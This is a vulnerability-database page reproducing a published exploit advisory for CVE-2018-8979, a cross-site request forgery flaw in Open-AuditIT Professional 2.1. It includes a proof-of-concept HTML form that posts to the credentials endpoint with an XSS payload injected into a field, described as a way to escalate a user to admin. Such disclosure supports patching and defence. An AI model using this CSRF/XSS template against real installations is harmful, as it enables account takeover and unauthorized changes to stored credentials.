Vulners
Lucene search
Open-AuditIT Professional 2.1 Cross Site Request Forgery
🗓️ 21 Mar 2018 00:00:00Reported by Nilesh SapariyaType 
packetstorm🔗 packetstormsecurity.com👁 44 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2018-8979 | 25 Mar 201819:29 | – | attackerkb |
 | Open-AudIT Cross-Site Request Forgery Vulnerability | 26 Mar 201800:00 | – | cnvd |
 | CVE-2018-8979 | 25 Mar 201819:00 | – | cve |
 | CVE-2018-8979 | 25 Mar 201819:00 | – | cvelist |
 | Open-AuditIT Professional 2.1 - Cross-Site Request Forgery | 30 Mar 201800:00 | – | exploitdb |
 | EUVD-2018-20584 | 7 Oct 202500:30 | – | euvd |
 | Open-AuditIT Professional 2.1 - Cross-Site Request Forgery | 30 Mar 201800:00 | – | exploitpack |
 | CVE-2018-8979 | 25 Mar 201819:29 | – | nvd |
 | CVE-2018-8979 | 25 Mar 201819:29 | – | osv |
 | Cross site request forgery (csrf) | 25 Mar 201819:29 | – | prion |
10
`# Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)
# Date: 27-03-2018
# Exploit Author: Nilesh Sapariya
# Contact: https://twitter.com/nilesh_loganx
# Website: https://nileshsapariya.blogspot.com
# Vendor Homepage: https://www.open-audit.org/
# Software Link : https://www.open-audit.org/downloads.php
# Version: 2.1
# CVE : CVE-2018-8979
# Tested on: Windows 10 Pro
# Category: Webapp Open-AuditIT Professional 2.1
1. Description:-
There is no CSRF protection in Open-AuditIT application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link by which any normal user can
become an Admin user. The attack can force an end user to execute unwanted
actions on a web application in which they're currently authenticated.
Using this vulnerability, we were able to compromise entire user account
with chaining this bug with XSS.
2. Proof of Concept
Login into Open-AuditIT Professional 2.1
Step 1 :- Craft a HTML Page with XSS payload
Step 2:- Save this .html file and send it to victim (Victim should be
loggedin in the browser)
Crafted value will be added.
Affected Code:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/omk/open-audit/credentials"
method="POST">
<input type="hidden" name="data[attributes][name]"
value="<img src=x onerror=alert('hacked');>" />
<input type="hidden"
name="data[attributes][org_id]" value="1" />
<input type="hidden"
name="data[attributes][description]" value="CSRF" />
<input type="hidden" name="data[attributes][type]"
value="ssh" />
<input type="hidden"
name="data[attributes][credentials][username]"
value="test" />
<input type="hidden"
name="data[attributes][credentials][password]"
value="test" />
<input type="hidden" name="data[type]" value="credentials" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
aa3] POCs and steps:
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html
Thanks & Regards,
Nilesh Sapariya
Security Researcher
https://twitter.com/nilesh_loganx
*https://nileshsapariya.blogspot.in
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Mar 2018 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.01312